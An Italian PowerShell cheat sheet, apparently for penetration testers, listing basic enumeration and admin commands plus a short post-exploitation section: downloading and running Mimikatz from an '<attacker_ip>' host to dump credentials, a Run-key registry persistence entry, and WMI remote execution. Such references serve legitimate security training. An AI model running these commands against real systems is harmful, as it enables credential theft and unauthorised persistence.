Vai al contenuto

PowerShell

Cheetsheet per PowerShell

Introduzione

Comandi di Base

powershell
# Versione di PowerShell
$PSVersionTable

# Lista dei comandi disponibili
Get-Command

# Aiuto su un comando
Get-Help <comando>
powershell
# Navigare tra directory
cd <percorso>

# Lista file e directory
Get-ChildItem

# Cerca file specifici
Get-ChildItem -Path C:\ -Include *.txt -Recurse

Enumerazione del Sistema

Informazioni di Rete

powershell
# Visualizza l'indirizzo IP
Get-NetIPAddress

# Connessioni di rete attive
Get-NetTCPConnection

# Configurazione della scheda di rete
Get-NetAdapter

Enumerazione Utenti e Gruppi

powershell
# Utenti locali
Get-LocalUser

# Gruppi locali
Get-LocalGroup

# Utenti in un gruppo specifico
Get-LocalGroupMember -Group <nome_gruppo>

Processi

powershell
# Lista dei processi in esecuzione
Get-Process

# Termina un processo
Stop-Process -Name <nome_processo>

Automazione e Script

Esecuzione di Script

powershell
# Modifica delle policy per eseguire script
Set-ExecutionPolicy RemoteSigned

# Esegui uno script
.\<script.ps1>

Task Scheduling

powershell
# Crea un nuovo task
schtasks /create /tn <nome_task> /tr <comando> /sc once /st <ora>

# Elenca i task
schtasks /query

Post-Exploitation

Dump Credenziali

powershell
# Dump delle credenziali con Mimikatz
Invoke-WebRequest -Uri http://<attacker_ip>/mimikatz.exe -OutFile mimikatz.exe
.\mimikatz.exe

Persistenza

powershell
# Aggiungi una chiave al registro per persistenza
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "<nome>" -Value "<comando>"

Abuso di Funzionalità Integrate

powershell
# Abuso di WMI per eseguire comandi remoti
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "<comando>" -ComputerName <target_ip>

Altro

Trasferimento di File

powershell
# Scarica un file
Invoke-WebRequest -Uri http://<attacker_ip>/<file> -OutFile <destinazione>

# Trasferimento con SCP (se disponibile)
scp <file> <utente>@<ip>:/<destinazione>

Trucchi Vari

powershell
# Ottieni la cronologia dei comandi
Get-History

# Verifica se un comando è disponibile
Test-Path <percorso_comando>